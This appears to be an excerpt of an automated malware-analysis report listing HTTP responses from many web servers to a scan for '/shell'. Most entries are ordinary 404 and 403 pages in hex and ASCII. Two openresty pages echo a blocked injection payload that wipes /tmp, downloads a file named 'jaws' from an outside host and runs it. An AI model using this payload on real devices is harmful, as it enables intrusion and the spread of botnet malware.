Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:14 GMTServer: Apache/2.4.6 (CentOS) PHP/7.3.27Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:14 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:14 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:14 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0Date: Sun, 14 Apr 2024 02:00:16 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Sun, 14 Apr 2024 02:00:15 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Sat, 13 Apr 2024 19:00:14 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 75 74 69 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 27 6c 6f 67 6f 75 74 32 28 29 27 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><script language="javascript" src="util.js"></script></HEAD><BODY onLoad='logout2()' BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlConnection: keep-aliveContent-Length: 435via: CHN-GDdongguan-CUCC3-CACHE9[1]X-CCDN-FORBID-CODE: 040001Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0a 3c 70 3e 44 61 74 65 3a 20 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 30 3a 31 35 3c 2f 70 3e 0d 0a 3c 70 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 70 3e 0d 0a 3c 70 3e 4e 6f 64 65 5f 69 6e 66 6f 3a 20 32 39 31 32 2d 43 41 43 48 45 39 3c 2f 70 3e 0d 0a 3c 70 3e 52 65 71 75 65 73 74 5f 69 64 3a 20 34 30 37 35 62 33 31 30 36 36 62 39 32 37 37 34 39 37 31 63 38 64 34 65 66 37 65 66 30 63 31 36 3c 2f 70 3e 0d 0a 3c 70 3e 43 6c 69 65 6e 74 5f 69 70 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 70 3e 0d 0a 3c 70 3e 46 6f 72 62 69 64 5f 63 6f 64 65 3a 20 30 34 30 30 30 31 3c 2f 70 3e 0d 0a 3c 70 3e 48 69 74 2d 73 74 61 74 75 73 3a 20 4d 49 53 53 3c 2f 70 3e 0d 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center><p>Date: 2024/04/14 10:00:15</p><p>URL: http://shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</p><p>Node_info: 2912-CACHE9</p><p>Request_id: 4075b31066b92774971c8d4ef7ef0c16</p><p>Client_ip: 81.181.54.60</p><p>Forbid_code: 040001</p><p>Hit-status: MISS</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlConnection: keep-aliveContent-Length: 436via: CHN-GDdongguan-CUCC3-CACHE17[1]X-CCDN-FORBID-CODE: 040001Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0a 3c 70 3e 44 61 74 65 3a 20 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 30 3a 31 35 3c 2f 70 3e 0d 0a 3c 70 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 70 3e 0d 0a 3c 70 3e 4e 6f 64 65 5f 69 6e 66 6f 3a 20 32 39 31 32 2d 43 41 43 48 45 31 37 3c 2f 70 3e 0d 0a 3c 70 3e 52 65 71 75 65 73 74 5f 69 64 3a 20 34 63 36 36 63 64 31 64 31 64 32 61 66 31 65 61 38 32 64 37 38 39 65 39 63 35 36 35 63 64 36 66 3c 2f 70 3e 0d 0a 3c 70 3e 43 6c 69 65 6e 74 5f 69 70 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 70 3e 0d 0a 3c 70 3e 46 6f 72 62 69 64 5f 63 6f 64 65 3a 20 30 34 30 30 30 31 3c 2f 70 3e 0d 0a 3c 70 3e 48 69 74 2d 73 74 61 74 75 73 3a 20 4d 49 53 53 3c 2f 70 3e 0d 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center><p>Date: 2024/04/14 10:00:15</p><p>URL: http://shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</p><p>Node_info: 2912-CACHE17</p><p>Request_id: 4c66cd1d1d2af1ea82d789e9c565cd6f</p><p>Client_ip: 81.181.54.60</p><p>Forbid_code: 040001</p><p>Hit-status: MISS</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:16 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:16 GMTServer: ApacheContent-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CaddyDate: Sun, 14 Apr 2024 02:00:16 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Sun, 14 Apr 2024 02:00:19 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 